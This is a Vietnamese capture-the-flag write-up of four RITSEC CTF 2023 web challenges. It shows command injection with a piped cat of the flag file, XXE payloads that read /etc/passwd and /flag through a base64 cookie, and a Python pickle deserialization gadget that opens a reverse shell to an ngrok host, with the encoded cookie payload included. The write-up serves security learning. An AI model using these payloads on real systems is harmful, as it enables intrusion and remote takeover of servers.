RITSEC CTF 2023 diễn ra từ 23:00 ngày 31/03/2023 tới 23:00 ngày 02/04/2023. Mình bắt đầu chơi vào khoảng 19h ngày 02/04 nên chỉ kịp làm 3 bài là Echoes, Rick Roll và X-Men Lore. Bài Pickle Store mình chỉ vừa mới giải được thôi! Source code của giải và cả writeup của BTC có thể thấy tại đây.
Echoes
Do you hear that?
Truy cập site chúng ta thấy 1 form nhập một từ vào và web sẽ hiển thị lại từ đó.
Dễ đoán được phía sau web này server sẽ chạy dòng lệnh tương tự echo test
. Thử thực thi thêm lệnh ls
bằng cách nhập.
| ls .
Mình có thử những lệnh khác như | ls./
hay test | ls ./
thì đều không thành công chắc do server filter @@
giờ chỉ cần nhập | cat flag.txt
để lấy flag
Flag:
RS{R3S0UND1NG_SUCS3SS!}
Rick Roll
I mean, do I need to say more?
Bài này chỉ cần tìm các mảnh của flag rải rác khắp nơi trong source code. Flag:
RS{/\/eveRG0nna_G1v3y0uuP_|3tY0|_|d0vvn_TuRna30unD_D3s3RTy0u}
X-Men Lore
The 90’s X-Men Animated Series is better than the movies. Change my mind.
Trang web có những button mà khi click vào sẽ dẫn ta tới /xmen
kèm theo việc set giá trị của cookie theo từng button.
Decode base64 thử 1 cookie ta thấy
XML rất rõ ràng -> có thể đây là XXE. Thử đọc file /etc/passwd
bằng payload:
<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><input><xmen>&test;</xmen></input>
Encode base64 lại và sửa giá trị cookie
Vậy đúng là XXE. Dựa vào hint là flag ko có đuôi file nên dùng payload sau ta đọc đc flag:
<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///flag'>]><input><xmen>&test;</xmen></input>
Flag:
RS{XM3N_L0R3?_M0R3_L1K3_XM3N_3XT3RN4L_3NT1TY!}
Pickle Store
New pickles just dropped! Check out the store
Giống bài xmen, các nút bấm cũng dẫn ta tới /order
kèm với việc set giá trị của cookie. Nhưng lần này cookie không còn là base64 đơn thuần nữa. Tên bài là Pickle -> có thể là đã được serialize bởi module pickle trong python. Thử deserialize 1 cookie của button “Sweet Pickle”:
import base64import pickle
# Decode base64encoded_str = "gASVDwAAAAAAAACMC3N3ZWV0cGlja2xllC4="decoded_str = base64.b64decode(encoded_str)
# Deserializeobj = pickle.loads(decoded_str)
print(obj)
sweetpickle
-> Đúng là đã được serialize bằng pickle
Google thì mình biết được module này có lỗ hổng RCE khi deserialize
-> có thể serialize một payload độc hại nào đấy để khi server deserialize sẽ thực thi đoạn code chúng ta mong muốn.
Google tiếp mình tìm thấy khá nhiều bài viết về Python Pickle RCE và tại đây có nói về việc sử dụng lỗ hổng này để tạo 1 reverse shell
import pickleimport base64import os
class RCE: def __reduce__(self): cmd = ('<payloadhere>') return os.system, (cmd,)
if __name__ == '__main__': pickled = pickle.dumps(RCE()) print(base64.urlsafe_b64encode(pickled))
Việc bây giờ là tạo payload để cho vào phần cmd
kèm theo việc tạo 1 tcp server để có thể kết nối đc. Mình setup localhost listen tại port 1221
và sử dụng ngrok để tunnel localhost tới internet:
Payload tạo reverse shell có thể tìm thấy tại revshells.com. Chọn việc tạo reverse shell bằng python bởi vì chúng ta đã biết được server suửa dụng python làm backend. Có thể bash cũng hoạt động trong trường hợp này.
import pickleimport base64import os
class RCE: def __reduce__(self): cmd = (''' python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("0.tcp.ap.ngrok.io",13073));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' ''') return os.system, (cmd,)
if __name__ == '__main__': pickled = pickle.dumps(RCE()) print(base64.urlsafe_b64encode(pickled))
b'gASVrgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjJMgcHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC50Y3AuYXAubmdyb2suaW8iLDEzMDczKSk7W29zLmR1cDIocy5maWxlbm8oKSxmKWZvciBmIGluKDAsMSwyKV07cHR5LnNwYXduKCJzaCIpJyCUhZRSlC4='
Update cookie và gửi request:
Ngay sau khi gửi thì máy mình nhận được kết nối:
Giờ chỉ cần tìm và đọc flag là xong!
Flag:
RS{TH3_L345T_53CUR3_P1CKL3}